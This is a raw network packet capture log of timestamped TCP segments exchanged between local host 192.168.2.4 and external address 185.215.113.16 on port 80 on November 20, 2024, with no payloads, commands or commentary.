Nov 20, 2024 21:04:28.368622065 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.479325056 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.479422092 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.479490042 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.480665922 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.480783939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.480845928 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.482881069 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.483087063 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.483140945 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.485810995 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.485897064 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.486000061 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.488651991 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.488759041 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.488816023 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.491456032 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.491553068 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.491607904 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.494282007 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.494484901 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.494537115 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.497018099 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.497205019 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.497263908 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.499737024 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.499850988 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.499913931 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.502398968 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.502468109 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.502532005 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.505127907 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.505182028 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.505243063 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.507816076 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.507936001 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.508002996 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.510466099 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.510535002 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.510605097 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.513170004 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.513364077 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.513422966 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.515834093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.515908003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.516000986 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.518544912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.518665075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.518724918 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.521318913 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.521500111 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.521563053 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.523926973 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.524259090 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.524318933 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.526602983 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.526704073 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.526767015 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.529294968 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.529448032 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.529526949 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.531994104 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.532166004 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.532229900 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.535003901 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.535098076 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.535170078 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.537472010 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.537580967 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.537646055 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.540154934 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.540276051 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.540335894 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.542817116 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.542928934 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.542989969 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.545459986 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.545618057 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.545680046 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.548152924 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.548322916 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.548393965 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.550874949 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.551162004 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.551219940 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.553544998 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.553612947 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.553669930 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.556193113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.556334972 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.556407928 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.558962107 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.559021950 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.559194088 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.561588049 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.561629057 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.561695099 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.564256907 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.564347982 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.564405918 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.566967964 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.567059040 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.567125082 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.569631100 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.569725037 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.569785118 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.572354078 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.572547913 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.572599888 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.574996948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.575103998 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.575158119 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.577687979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.577805042 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.577861071 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.580418110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.580586910 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.580643892 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.583087921 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.583169937 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.583228111 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.585783958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.585949898 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.586004972 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.588459015 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.588555098 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.588609934 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.591134071 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.591242075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.591303110 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.593835115 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.593997002 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.594063044 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.596548080 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.596618891 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.596688032 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.599257946 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.599288940 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.599441051 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.601910114 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.601998091 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.602055073 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.604641914 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.604798079 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.604852915 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.607319117 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.607525110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.607606888 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.609966993 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.610011101 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.610066891 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.680532932 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.680565119 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.680655956 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.682710886 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.682843924 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.682894945 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.683655977 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.683808088 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.683871031 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.685781956 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.685885906 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.685952902 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.687912941 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.688007116 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.688071012 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.690010071 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.690124035 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.690185070 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.692071915 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.692233086 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.692306042 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.694144011 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.694252014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.694327116 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.696151972 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.696244001 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.696297884 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.698102951 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.698287964 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.698340893 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.700135946 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.700242043 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.700294018 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.702119112 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.702266932 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.702321053 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.704041958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.704160929 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.704248905 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.705918074 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.706015110 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.706064939 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.707818031 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.707880020 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.707928896 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.711076975 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.711112976 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.711179972 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.711570978 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.711680889 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.711740017 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.713598967 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.713788986 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.713860035 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.715404987 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.715590954 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.715668917 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.717067957 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.717257977 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.717324018 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.718916893 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.718974113 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.719028950 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.720662117 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.720717907 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.721158028 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.722436905 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.722599983 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.722666025 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.724256992 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.724287987 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.724344015 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.725965977 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.726089001 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.726142883 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.729434967 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.729453087 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.729497910 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.729511976 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.729614973 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.729691982 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.730386019 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.730770111 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.730828047 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.731362104 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.731550932 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.731607914 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.732311964 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.732440948 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.732497931 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.733397961 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.733592033 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.733645916 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.734357119 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.734373093 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.734426022 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.735192060 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.735208035 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.735268116 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.736187935 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.736387014 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.736443996 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.737185955 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.737204075 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.737257957 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.738291979 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.738307953 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.738363981 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.738787889 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.739012003 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.739106894 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.739970922 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.739986897 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.740060091 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.740637064 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.741024017 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.741090059 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.741611958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.741813898 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.741874933 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.742487907 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.742772102 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.742825985 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.744210958 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.744405985 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.744461060 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.744821072 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.745011091 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.745064974 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.745296001 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.745425940 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.745486975 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.746495962 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.746511936 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.746567965 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.747353077 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.747541904 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.747600079 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.748091936 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.748223066 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.748282909 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.749275923 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.749459982 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.749521971 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.750173092 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.750359058 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.750420094 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.750937939 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.750993967 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.751055956 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.751832962 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.751959085 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.752022028 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.752779007 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.752948046 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.753005981 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.881949902 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.882038116 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.882126093 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.882330894 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.882450104 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.882513046 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.883246899 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.883363962 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.883434057 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.884221077 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.884319067 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.884392023 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.885170937 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.885329962 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.885390997 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.886323929 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.886523008 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.886584997 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.887013912 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.887111902 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.887172937 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.887944937 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.888045073 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.888109922 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.888906002 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.889024973 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.889108896 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.889859915 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.889985085 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.890050888 CET	49744	80	192.168.2.4	185.215.113.16
Nov 20, 2024 21:04:28.890966892 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.891064882 CET	80	49744	185.215.113.16	192.168.2.4
Nov 20, 2024 21:04:28.891127110 CET	49744	80	192.168.2.4	185.215.113.16
